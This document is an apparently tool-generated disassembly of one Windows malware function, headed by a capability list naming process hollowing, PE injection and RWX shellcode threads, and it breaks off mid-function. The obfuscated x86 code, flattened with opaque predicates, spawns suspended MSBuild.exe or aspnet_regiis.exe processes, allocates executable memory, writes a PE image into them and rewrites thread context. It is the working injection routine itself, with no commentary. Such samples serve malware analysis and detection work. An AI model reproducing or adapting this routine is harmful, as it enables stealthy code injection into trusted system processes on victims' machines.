Function at 0x100038d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x130
mov eax, dword [0x1006be00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x138], 0x727fc48f
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
sub eax, 0x83268601
je 0x1000501a
jmp 0x1000390c
mov eax, dword [ebp - 0x13c]
sub eax, 0x8348eabd
je 0x10004c37
jmp 0x10003922
mov eax, dword [ebp - 0x13c]
sub eax, 0x849bbe30
je 0x100055e5
jmp 0x10003938
mov eax, dword [ebp - 0x13c]
sub eax, 0x8b6d8bf1
je 0x10005a59
jmp 0x1000394e
mov eax, dword [ebp - 0x13c]
sub eax, 0x8dc12d44
je 0x10005ea2
jmp 0x10003964
mov eax, dword [ebp - 0x13c]
sub eax, 0x900d9cea
je 0x100063d4
jmp 0x1000397a
mov eax, dword [ebp - 0x13c]
sub eax, 0x96b6c016
je 0x10006ecc
jmp 0x10003990
mov eax, dword [ebp - 0x13c]
sub eax, 0x9714f52d
je 0x10006684
jmp 0x100039a6
mov eax, dword [ebp - 0x13c]
sub eax, 0x97199881
je 0x1000624a
jmp 0x100039bc
mov eax, dword [ebp - 0x13c]
sub eax, 0x97c7fb5b
je 0x10004ea2
jmp 0x100039d2
mov eax, dword [ebp - 0x13c]
sub eax, 0x990fe047
je 0x100050ef
jmp 0x100039e8
mov eax, dword [ebp - 0x13c]
sub eax, 0x99700665
je 0x100054aa
jmp 0x100039fe
mov eax, dword [ebp - 0x13c]
sub eax, 0x99a46296
je 0x10006175
jmp 0x10003a14
mov eax, dword [ebp - 0x13c]
sub eax, 0x9a3893c8
je 0x100071a2
jmp 0x10003a2a
mov eax, dword [ebp - 0x13c]
sub eax, 0x9ba815c1
je 0x10006043
jmp 0x10003a40
mov eax, dword [ebp - 0x13c]
sub eax, 0x9c89559a
je 0x10005954
jmp 0x10003a56
mov eax, dword [ebp - 0x13c]
sub eax, 0x9ecdd5f0
je 0x10006f8e
jmp 0x10003a6c
mov eax, dword [ebp - 0x13c]
sub eax, 0x9efd9b91
je 0x10006db9
jmp 0x10003a82
mov eax, dword [ebp - 0x13c]
sub eax, 0xa230f5ad
je 0x10006d50
jmp 0x10003a98
mov eax, dword [ebp - 0x13c]
sub eax, 0xa66ab399
je 0x100070ec
jmp 0x10003aae
mov eax, dword [ebp - 0x13c]
sub eax, 0xa7e2013c
je 0x10004a6e
jmp 0x10003ac4
mov eax, dword [ebp - 0x13c]
sub eax, 0xa884b8a2
je 0x10006034
jmp 0x10003ada
mov eax, dword [ebp - 0x13c]
sub eax, 0xaa5e6772
je 0x10006ad1
jmp 0x10003af0
mov eax, dword [ebp - 0x13c]
sub eax, 0xaac79f09
je 0x1000697d
jmp 0x10003b06
mov eax, dword [ebp - 0x13c]
sub eax, 0xab2ef7ac
je 0x10006481
jmp 0x10003b1c
mov eax, dword [ebp - 0x13c]
sub eax, 0xab5fc0ad
je 0x10006be7
jmp 0x10003b32
mov eax, dword [ebp - 0x13c]
sub eax, 0xab679e72
je 0x10004d1a
jmp 0x10003b48
mov eax, dword [ebp - 0x13c]
sub eax, 0xaef7e0bc
je 0x10005738
jmp 0x10003b5e
mov eax, dword [ebp - 0x13c]
sub eax, 0xaf164114
je 0x10006fb5
jmp 0x10003b74
mov eax, dword [ebp - 0x13c]
sub eax, 0xb020c6ba
je 0x1000643a
jmp 0x10003b8a
mov eax, dword [ebp - 0x13c]
sub eax, 0xb2541b55
je 0x10007107
jmp 0x10003ba0
mov eax, dword [ebp - 0x13c]
sub eax, 0xb29c2e10
je 0x10004e37
jmp 0x10003bb6
mov eax, dword [ebp - 0x13c]
sub eax, 0xb38097a4
je 0x1000583d
jmp 0x10003bcc
mov eax, dword [ebp - 0x13c]
sub eax, 0xb4ab54f1
je 0x100062d2
jmp 0x10003be2
mov eax, dword [ebp - 0x13c]
sub eax, 0xb62e113a
je 0x1000704d
jmp 0x10003bf8
mov eax, dword [ebp - 0x13c]
sub eax, 0xb6a3853a
je 0x10005dc6
jmp 0x10003c0e
mov eax, dword [ebp - 0x13c]
sub eax, 0xb6d57e99
je 0x10006907
jmp 0x10003c24
mov eax, dword [ebp - 0x13c]
sub eax, 0xb7a6f1f4
je 0x10004a51
jmp 0x10003c3a
mov eax, dword [ebp - 0x13c]
sub eax, 0xbaff4a62
je 0x10004c46
jmp 0x10003c50
mov eax, dword [ebp - 0x13c]
sub eax, 0xbb05351d
je 0x10005e70
jmp 0x10003c66
mov eax, dword [ebp - 0x13c]
sub eax, 0xbfdf4afc
je 0x10005f62
jmp 0x10003c7c
mov eax, dword [ebp - 0x13c]
sub eax, 0xc16110df
je 0x10004933
jmp 0x10003c92
mov eax, dword [ebp - 0x13c]
sub eax, 0xc3451bed
je 0x10005b32
jmp 0x10003ca8
mov eax, dword [ebp - 0x13c]
sub eax, 0xc4160763
je 0x10004a20
jmp 0x10003cbe
mov eax, dword [ebp - 0x13c]
sub eax, 0xc6796624
je 0x10004f18
jmp 0x10003cd4
mov eax, dword [ebp - 0x13c]
sub eax, 0xc79ea7a3
je 0x100061c6
jmp 0x10003cea
mov eax, dword [ebp - 0x13c]
sub eax, 0xc7abdb54
je 0x10004fd6
jmp 0x10003d00
mov eax, dword [ebp - 0x13c]
sub eax, 0xca85c611
je 0x100053f0
jmp 0x10003d16
mov eax, dword [ebp - 0x13c]
sub eax, 0xca8c90c3
je 0x10005ade
jmp 0x10003d2c
mov eax, dword [ebp - 0x13c]
sub eax, 0xcaa42559
je 0x10005d6e
jmp 0x10003d42
mov eax, dword [ebp - 0x13c]
sub eax, 0xcca722e1
je 0x1000705c
jmp 0x10003d58
mov eax, dword [ebp - 0x13c]
sub eax, 0xcd185d3c
je 0x10004e16
jmp 0x10003d6e
mov eax, dword [ebp - 0x13c]
sub eax, 0xcd380713
je 0x10006f20
jmp 0x10003d84
mov eax, dword [ebp - 0x13c]
sub eax, 0xd03ea3cc
je 0x10006b56
jmp 0x10003d9a
mov eax, dword [ebp - 0x13c]
sub eax, 0xd0595e72
je 0x10006ff9
jmp 0x10003db0
mov eax, dword [ebp - 0x13c]
sub eax, 0xd3d0990f
je 0x10005ef3
jmp 0x10003dc6
mov eax, dword [ebp - 0x13c]
sub eax, 0xd72121cb
je 0x10006718
jmp 0x10003ddc
mov eax, dword [ebp - 0x13c]
sub eax, 0xd75fa789
je 0x10006595
jmp 0x10003df2
mov eax, dword [ebp - 0x13c]
sub eax, 0xda975da9
je 0x10007071
jmp 0x10003e08
mov eax, dword [ebp - 0x13c]
sub eax, 0xdb4b9aad
je 0x10006f67
jmp 0x10003e1e
mov eax, dword [ebp - 0x13c]
sub eax, 0xde3e0df6
je 0x10004e52
jmp 0x10003e34
mov eax, dword [ebp - 0x13c]
sub eax, 0xe0333b66
je 0x1000586e
jmp 0x10003e4a
mov eax, dword [ebp - 0x13c]
sub eax, 0xe063ddc6
je 0x10007122
jmp 0x10003e60
mov eax, dword [ebp - 0x13c]
sub eax, 0xe16923ee
je 0x100052d2
jmp 0x10003e76
mov eax, dword [ebp - 0x13c]
sub eax, 0xe45b5953
je 0x10005279
mov edx, dword [ebp - 0xb4]
mov eax, 0xf04b51c
mov ecx, 0x115bae9b
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov eax, dword [ebp - 0x118]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov dl, byte [eax]
mov eax, 0xb7a6f1f4
mov ecx, 0x22f64388
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov eax, dword [ebp - 0x118]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x138], 0xa7e2013c
jmp 0x100071c1
mov dword [ebp - 0x138], 0x22f64388
jmp 0x100071c1
mov dword [ebp - 0x138], 0xbaff4a62
jmp 0x100071c1
mov dl, byte [ebp - 0xad]
mov eax, 0xab5fc0ad
mov ecx, 0x1c754c02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x110]
mov eax, dword [ebp - 0x10c]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
cmp dword [eax], 0
setge al
and al, 1
mov byte [ebp - 0xa5], al
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
mov edx, ecx
add edx, 0x9d5994c6
sub edx, 1
sub edx, 0x9d5994c6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x575a4057
mov ecx, 0xcd185d3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov dl, byte [ebp - 0xa5]
mov eax, 0xb29c2e10
mov ecx, 0x97c7fb5b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov dword [ebp - 0x138], 0xde3e0df6
jmp 0x100071c1
mov eax, dword [ebp - 0x124]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x110]
mov eax, dword [ebp - 0x10c]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x138], 0x97c7fb5b
jmp 0x100071c1
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
mov edx, ecx
add edx, 0xf18e6d34
sub edx, 1
sub edx, 0xf18e6d34
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x47f4099c
mov ecx, 0xc6796624
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x134]
mov edx, dword [ebp - 0x110]
mov edx, dword [edx]
mov esi, dword [ebp - 0x124]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [0x1006d138]
mov ecx, dword [0x1006d134]
mov edx, eax
sub edx, 0xbea2d137
sub edx, 1
add edx, 0xbea2d137
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x47f4099c
mov ecx, 0xc7abdb54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov dword [ebp - 0x138], 0xfe9ba123
jmp 0x100071c1
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
mov edx, ecx
add edx, 0xfce7a7ff
sub edx, 1
sub edx, 0xfce7a7ff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x96b6c016
mov ecx, 0xf62552ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov dword [ebp - 0x138], 0xff98d052
jmp 0x100071c1
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x138], 0x6b0026c0
jmp 0x100071c1
mov dword [ebp - 0x138], 0x83268601
jmp 0x100071c1
mov eax, dword [0x1006d138]
mov ecx, dword [0x1006d134]
mov edx, eax
add edx, 0x186e5671
sub edx, 1
sub edx, 0x186e5671
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf316941a
mov ecx, 0xe950c4dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov dword [ebp - 0x138], 0xf0c5ce3c
jmp 0x100071c1
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
mov edx, ecx
add edx, 0x949ef2ba
sub edx, 1
sub edx, 0x949ef2ba
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdb4b9aad
mov ecx, 0x59fdc1b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov esi, dword [ebp - 0x74]
mov eax, dword [ebp - 0x70]
sub esi, 0x6f55fa2d
add esi, eax
add esi, 0x6f55fa2d
mov edx, dword [ebp - 0x78]
mov eax, 0x8b6d8bf1
mov ecx, 0xe0333b66
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov eax, dword [0x1006d138]
mov ecx, dword [0x1006d134]
mov edx, eax
add edx, 0x348d4316
sub edx, 1
sub edx, 0x348d4316
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9ecdd5f0
mov ecx, 0x52367291
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
mov edx, ecx
sub edx, 0xdbaca9f2
sub edx, 1
add edx, 0xdbaca9f2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaf164114
mov ecx, 0x4a015a74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov dword [ebp - 0x138], 0x40afd3c2
jmp 0x100071c1
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [0x1006d138]
mov ecx, dword [0x1006d134]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd0595e72
mov ecx, 0xc3451bed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov dword [ebp - 0x138], 0xe4ba4a9b
jmp 0x100071c1
mov dword [ebp - 0x138], 0x496f057
jmp 0x100071c1
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x4e], al
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
mov edx, ecx
sub edx, 0x4c9b168f
sub edx, 1
add edx, 0x4c9b168f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1836affa
mov ecx, 0x6d012827
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov dword [ebp - 0x138], 0x5655fc9b
jmp 0x100071c1
mov eax, dword [0x1006d138]
mov ecx, dword [0x1006d134]
mov edx, eax
sub edx, 0x92b23fae
sub edx, 1
add edx, 0x92b23fae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb62e113a
mov ecx, 0xd3d0990f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov eax, dword [0x1006d138]
mov ecx, dword [0x1006d134]
mov edx, eax
add edx, 0xce1d9d48
sub edx, 1
sub edx, 0xce1d9d48
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb62e113a
mov ecx, 0x4eaedb72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
mov edx, ecx
add edx, 0x9e39651c
sub edx, 1
sub edx, 0x9e39651c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcca722e1
mov ecx, 0x3a9804d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov dword [ebp - 0x138], 0x9ba815c1
jmp 0x100071c1
mov eax, dword [0x1006d138]
mov ecx, dword [0x1006d134]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda975da9
mov ecx, 0x7bc104ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov eax, dword [0x1006d138]
mov ecx, dword [0x1006d134]
mov edx, eax
sub edx, 0x53d8dd1d
sub edx, 1
add edx, 0x53d8dd1d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa66ab399
mov ecx, 0xc79ea7a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa66ab399
mov ecx, 0x97199881
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov dword [ebp - 0x138], 0x707e9c85
jmp 0x100071c1
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x138], 0xf7d4e34e
jmp 0x100071c1
mov edx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x124]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x138], 0xb020c6ba
jmp 0x100071c1
mov dword [ebp - 0x138], 0x24b080c8
jmp 0x100071c1
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov dword [ebp - 0x138], 0x99a46296
jmp 0x100071c1
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
mov edx, ecx
add edx, 0xbb988a28
sub edx, 1
sub edx, 0xbb988a28
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe063ddc6
mov ecx, 0x421b30c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov dword [ebp - 0x138], 0x5655fc9b
jmp 0x100071c1
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x124]
mov edx, dword [eax]
mov eax, dword [ebp - 0x110]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
cmp dword [eax + 0xc4], 0
setne al
and al, 1
mov byte [ebp - 0x25], al
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x367d5f95
mov ecx, 0x6bb494bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
mov edx, ecx
add edx, 0x9b330c8d
sub edx, 1
sub edx, 0x9b330c8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x17e88799
mov ecx, 0xaac79f09
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov dl, byte [ebp - 0x19]
mov eax, 0x10df8997
mov ecx, 0xfcb4d5ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov ecx, dword [0x1006d138]
mov eax, dword [0x1006d134]
mov edx, ecx
sub edx, 0x6196a154
sub edx, 1
add edx, 0x6196a154
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9a3893c8
mov ecx, 0x6f56c81c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x100071c1
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
sub ecx, 0x287704f5
add ecx, eax
add ecx, 0x287704f5
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x138], 0x641b278b
jmp 0x100071c1
mov dword [ebp - 0x138], 0x3a7eae31
jmp 0x100071c1
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
add ecx, 0x785d0fb8
add ecx, eax
sub ecx, 0x785d0fb8
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x138], 0x2dd52bc8
jmp 0x100071c1
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x138], 0x6559002f
jmp 0x100071c1
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x138], 0xf62552ce
jmp 0x100071c1
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x88]
mov dword [eax], ecx
mov dword [ebp - 0x138], 0x6a402f87
jmp 0x100071c1
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x138], 0x59fdc1b3
jmp 0x100071c1
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x138], 0x52367291
jmp 0x100071c1
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x64]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, dword [ebp - 0x6c]
add ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov dword [ebp - 0x138], 0x4a015a74
jmp 0x100071c1
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x138], 0xca8c90c3
jmp 0x100071c1
mov dword [ebp - 0x138], 0xd3d0990f
jmp 0x100071c1
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x138], 0x3a9804d9
jmp 0x100071c1
mov ecx, dword [ebp - 0x4c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
